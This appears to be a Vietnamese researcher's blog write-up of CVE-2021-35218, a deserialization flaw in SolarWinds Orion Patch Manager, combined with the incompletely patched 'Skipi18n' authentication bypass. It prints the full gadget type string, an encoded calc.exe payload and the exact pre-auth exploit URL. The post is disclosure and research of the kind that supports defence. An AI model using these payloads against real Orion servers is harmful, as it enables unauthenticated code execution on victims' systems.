50 Shades of SolarWinds Orion (Patch Manager) Deserialization (Final Part: CVE-2021–35218)

Jang
5 min readOct 29, 2021

--

Sau bài viết vội về CVE-2021–35215 cuối tuần trước, mình thấy cũng có khá nhiều người đang quan tâm tới các product của SolarWinds.

Cũng hơi bất ngờ một chút, ngay sau khi mình public bài viết thì đã có người share PoC RCE vào ngày hôm sau, và 2–3 ngày sau đó, thanh niên này cũng viết xong PoC cho 3 bug còn lại của mình,

Thực ra ban đầu mình report 5 bug liền cho ZDI, nhưng trong đó họ đánh 1 report của mình là duplicate với bug trước đó, do vậy mà chỉ có 4 bug được public.

Trong số 3 bug còn lại thì có 2 bug có chung sink, và 1 bug pre-auth, tại thời điểm mình viết bài này thì đã có bài viết phân tích chi tiết về những bug này, các bạn có thể đọc thêm tại đây: https://twitter.com/Y4er_ChaBug/status/1453971672629796865

Để tóm gọn trong 1 bài viết thì phần này mình sẽ đi vào phân tích bug Pre-Auth Deserialize CVE-2021–35218 trên SolarWinds Orion Patch Manager, những bug còn lại các bạn có thể tham khảo trong bài viết của @Y4er

#CVE-2021–35218

Bug này có Entrypoint là file: Orion/PM/Chart.ashx, nội dung của file này không có gì nhiều, nó chỉ thừa kế từ class SolarWinds.PM.Web.Charting.ScmChartImageHandler, do vậy đây mới là class xử lý chính của entrypoint này:

Class này có Method ProcessRequest(), được gọi để xử lý các request gửi từ phía user:

Nếu đã từng làm qua về .NET/Java Deserialize thì chỉ cần nhì liếc qua cũng có thể thấy ngay cái lỗ hổng Unsafe Data Deserialization khi gọi xmlSerializer.Deserialize() (vậy mà đó giờ ko ai report ¯\_(ツ)_/¯).

Còn theo bài vở thì cũng không khó lắm, mình tìm ra lỗi này khi đang thực hiện find Usage của System.Xml.Serialization.XmlSerializer.Deserialize(). Số method đang gọi tới nó cũng không nhiều lắm, và không khó để nhận ra ScmChartImageHandler.ProcessRequest() trong mớ method usage này

Việc viết payload cho bug này cũng không có gì khó lắm, server lấy Type từ phía người dùng để deserialize bằng cách sau:

XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(context.Request.QueryString["tp"]));

Type có thể bị control thông qua param “tp”, như vậy có thể tùy ý sử dụng một gadgetchain đã được public để RCE, mình chọn sử dụng gadget ObjectDataProvider từ bộ ysoserial.net. Khi truyền vào, param “tp” có dạng như sau:

tp=System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

Phần còn lại là payload serialize, được truyền vào thông qua param “chart”, cần lưu ý một chút là trước khi deserialize, dữ liệu còn phải được gzip compress một lần nữa:

Gadgetchain mình sử dụng:

Payload sau khi đã được gzip compress và base64 encode (exec calc.exe):

dlZSTmI5UXdFTDN6SzRMdmpiY2djVEJKcW9ydEFVR2g2cTVFcGFvSHg1N2ROWXJ0eUdPYVJJai96bXoySXlrYlBub2hKMmZldlBIenpMT3ppOVpXeVNNRU5ON2w3RHlkc1l2aVJVSmZkdFhXMG1uUVg0S3Nhd2lmVjNmU1ZyY2dOYTNMcjZEaVhFWjVFL3lqb1VoQ1pSeUtGazNPTmpIV2d2T21hZExtZGVyRG1yK2F6Yzc1M2ZYSGhkcUFsV2ZHWVpST0FUdXk5TjlaTE5ucGVxTHRxZ0lMTHZJUlJJcTI0a0RUZ21USGJqYUFmY0kxeEkzWG42U0Y0a1lHaEl5UElsT3BsRVZRcEI0OWhmc1U2YnBsVjhQL09EOFZGNUgyeWhrUkJNWmczSnFkU3VwbHZieC9ONzljWHQ1bnQ0RCtXMUF3TnlyU2lHWG9kcHNlTjhTK09xYldxT0RScjJLcXZPV05jYXQycStBTmIybnN2QTZBMUdpNXJYR1FyWjlYNDBBcmM2YXFjT2FvcDFoTEJXTFJZUVQ3VmlLQ0xhc3V0Nmg4cUV4NUlLaHBRam8zY3UwOFJxTndJR09Qc1NLYjhLZ1dINkRMR1V0MjJMTHY1WGN0K2dFcVFYa0tFSCt3WkRCRXpoWlJoamhaTHoyeFIxYUtSVCtXUWxtZDhlUGZFT2NxVWJKU0tiUXd4dmsvVlovSW91RHBoSXVIaHdtbjhyMVZmL0U0LzdQSjkrZCt2N2ZzeUlURGM4Q08wZzVwby92SWYzY2hNLzZzRjZiNENRPT01

PoC:

Tuy nhiên, đến đây thì vẫn cần ít nhất 1 tài khoản để có thể trigger được bug này!

Trong quá trình xem xét lại những bug trước đó được report cùng với vụ APT vào SolarWinds (link: https://www.zerodayinitiative.com/blog/2021/1/20/three-bugs-in-orions-belt-chaining-multiple-bugs-for-unauthenticated-rce-in-the-solarwinds-orion-platform), mình có phát hiện ra một trong những bug đó chưa được vá hoàn chỉnh, và hoàn toàn có thể là mảnh ghép cuối cùng để bug này trở thành 1 bug Pre-Auth RCE!

Mảnh ghép cuối cùng này chính là CVE-2020–10148:

Bug này nằm trong class SolarWinds.Orion.Web.HttpModules.i18nRedirector, trước đó được cho là backdoor của hacker để lại, trước khi được patch, class có dạng như này:

i18nRedirector.OnRequest() sẽ kiểm tra, nếu như URI có chứa chuỗi “Skipi18n” thì sẽ set cho request này thành 1 authenticate request và skip các đoạn check Authorization phía sau.

Còn đây là cách mà SolarWinds vá cái backdoor này …

Khi xem đến mình có cảm giác: “Wtf ?? :D ???” ..

Cách vá đơn giản chỉ là chặn hết các request không phải “GET” ???

Vậy nghĩa là với các “GET” request với URI có chứa chuỗi “Skipi18n” vẫn được xét là Authenticated ??? :D ???

Mới đầu khi đọc đến đây thì mình cũng không tin lắm là có thể bypass được, chỉ khi thấy “calc.exe” spawn thì mới dám tin vào mắt mình …

Như vậy, để bypass authen -> RCE ở đoạn này thì URL sẽ có dạng như sau:

GET /orion/PM/Chart.ashx/Skipi18n?tp=<type>&chart=<serialized data> HTTP/1.1

Còn đây là PoC Pre-Auth: https://youtu.be/0cIyasPt00g

Hơi buồn một chút khi ZDI không chấp nhận đây là 1 bug Pre-Auth RCE, và đánh CVSS 8.8 … Thôi thì dù sao có cũng còn hơn không,

(Có thể bug Bypass Authentication này vẫn áp dụng đc vào entrypoint khác, …)

Thanks for reading!

__Jang__

--

--